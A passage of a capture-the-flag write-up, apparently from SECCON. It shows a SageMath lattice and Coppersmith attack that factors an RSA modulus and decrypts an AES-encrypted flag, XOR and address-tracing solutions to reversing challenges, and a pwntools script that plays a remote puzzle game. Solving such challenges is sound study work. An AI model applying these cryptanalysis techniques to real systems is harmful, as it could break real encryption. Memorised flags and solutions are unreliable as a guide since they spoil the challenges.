    assert t2[1] == alphas[35]
    alphas_c.append(-t2[0])
alphas_c.append(1)

alphas[35] = alpha_sum_rsa / (sum(alphas_c)^0x10001 * R(double_alphas[35])^0x8000)
for i in range(35):
    alphas[i] = alphas[35] * alphas_c[i]

n, k = 36, 8
def make_G(R, alphas):
    mat = []
    for i in range(k):
        row = []
        for j in range(n):
            row.append(alphas[j]^i)
        mat.append(row)
    mat = matrix(R, mat)
    return mat
G = make_G(R, alphas)
for i in range(5):
    assert dets[i] == G.submatrix(0,i*k-i,8,8).det()
for i in range(36):
    assert alphas[i]^2 == double_alphas[i]

## recover pvec
M = Matrix(ZZ, n + k + 1, n + k + 1)
M[0, 0] = 2^1000
for i in range(n):
    M[0, k + 1 + i] = p_encoded[i]
for i in range(k):
    for j in range(n):
        M[1 + i, k + 1 + j] = G[i, j]
    M[1 + i, 1 + i] = 2^(1000-512//k)
for i in range(n):
    M[k + 1 + i, k + 1 + i] = N
M = M.LLL()
for v in M:
    if v[0] == 2^1000:
        break
p = 0

pvec = vector(R, -v[1:k + 1]) / R(2^(1000-512//k))
randvector1 = vector(R, v[k+1:])
assert vector(R, p_encoded) == pvec * G + randvector1
for _ in v[k+1:]:
    assert 0 <= _ < 2^1000

p = 0
for i in range(k):
    p <<= 512//k
    p += ZZ(pvec[-1 - i])

PR.<x> = PolynomialRing(R, implementation='NTL')
f = p + x
p += ZZ(f.small_roots(beta=0.4999)[0])
assert p.nbits() == 512
q = N // p
assert p * q == N

## recover keyvec
import random

R_p = Zmod(p)
G_p = Matrix(R_p, G)
key_encoded_p = vector(R_p, key_encoded)
while True:
    sample_pos = random.sample(range(n), k)
    sample_G = G_p.matrix_from_columns(sample_pos)
    sample_key_encoded = vector(R_p, [key_encoded[sample_pos[i]] for i in range(k)])
    keyvec_p = sample_key_encoded * sample_G.inverse()
    randvector2_p = key_encoded_p - keyvec_p*G_p
    sample_pos = []
    for i in range(n):
        if randvector2_p[i]: 
            sample_pos.append(i)
    if k <= len(sample_pos) <= 14:
        break

R_q = Zmod(q)
G_q = Matrix(R_q, G)
key_encoded_q = vector(R_q, key_encoded)
sample_G = G_q.matrix_from_columns(sample_pos[:k])
sample_key_encoded = vector(R_q, [key_encoded[sample_pos[i]] for i in range(k)])
keyvec_q = sample_key_encoded * sample_G.inverse()
randvector2_q = key_encoded_q - keyvec_q*G_q
sample_pos = []
for i in range(n):
    if randvector2_q[i]: 
        sample_pos.append(i)
assert len(sample_pos) <= 14

keyvec = []
for i in range(k):
    keyvec.append(crt([ZZ(keyvec_p[i]), ZZ(keyvec_q[i])],[p, q]))
keyvec = vector(R, keyvec)


import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = hashlib.sha256(str(keyvec).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(unpad(cipher.decrypt(encrypted_flag), AES.block_size))

Rev

packed

Should not unpack by upx -d and see main. Function main is fake.

Simple xor encryption.

key = [0xe8,0x4a,0x00,0x00,0x00,0x83,0xf9,0x49,0x75,0x44,0x53,0x57,0x48,0x8d,0x4c,0x37,0xfd,0x5e,0x56,0x5b,0xeb,0x2f,0x48,0x39,0xce,0x73,0x32,0x56,0x5e,0xac,0x3c,0x80,0x72,0x0a,0x3c,0x8f,0x77,0x06,0x80,0x7e,0xfe,0x0f,0x74,0x06,0x2c,0xe8,0x3c,0x01] target = [0xbb,0x0f,0x43,0x43,0x4f,0xcd,0x82,0x1c,0x25,0x1c,0x0c,0x24,0x7f,0xf8,0x2e,0x68,0xcc,0x2d,0x09,0x3a,0xb4,0x48,0x78,0x56,0xaa,0x2c,0x42,0x3a,0x6a,0xcf,0x0f,0xdf,0x14,0x3a,0x4e,0xd0,0x1f,0x37,0xe4,0x17,0x90,0x39,0x2b,0x65,0x1c,0x8c,0x0f,0x7c] print(bytes(map(lambda x: x[0] ^ x[1], zip(key, target))))

Jump

There is a switch case thing in 0x4009EC. But the binary call functions in different way.

0x40090C : SECC
0x400718 : ON{5
0x400650 : h4k3
0x4006B4 : _1t_
0x400804 : up_5
0x40096C : h-5h
0x40077C : -5h5
0x40088C : hk3}

Reaction

Puyopuyo without display.

from pwn import * p = remote("reaction.seccon.games", 5000) #context.log_level = "DEBUG" lst = [ [13, 0], [11, 1], [10, 1], [12, 1], [9, 3], [0, 0], [9, 3], [0, 0], [0, 0], [8, 3], [0, 3], [9, 3], [7, 1], [6, 3], [0, 0], [11, 1], [6, 0], [0, 0], [6, 1], [8, 0], [6, 3], [4, 3], [4, 3], [11, 1], [0, 2], [3, 1], [5, 3], [3, 0], [0, 3], [13, 0], [2, 1], [13, 0], [4, 3], [13, 0], [1, 0], [0, 0], [13, 0], [13, 0], [0, 0], [12, 0], [12, 0], [2, 3], [3, 0], [2, 3], [12, 0], [2, 1], [0, 0], [13, 0], [11, 0], [11, 0], [1, 2], [1, 0] ] pp = 0 while True: r1 = p.recv(2) print(pp + 1, list(r1)) if r1[0] >= 0x5: p.interactive() if pp < len(lst): p.send(bytes(lst[pp])) else: p.send(bytes([0, 0])) pp += 1 p.interactive()
Final State
[ , , , , , , , , , , , , , ]
[ , , , , , , , , , , , , , ]
[ , , , , , , , , , , , , ,3]
[ , , , , , , , , , , , ,4,2]
[ , , ,2, , , , , , , , ,2,1]
[4, , ,3, , , , , , , ,1,4,3]
[3, , ,1, , , , , , , ,2,1,3]
[4,4, ,1, , ,2, , , , ,3,4,2]
[4,4, ,1, , ,2, , , , ,1,3,1]
[4,2,1,2,3,2,1,3,4,1,3,2,4,2]
[3,4,2,1,2,3,2,1,3,4,1,3,2,4]
[3,4,2,1,2,3,2,1,3,4,1,3,2,4]
[3,4,2,1,2,3,2,1,3,4,1,3,2,4]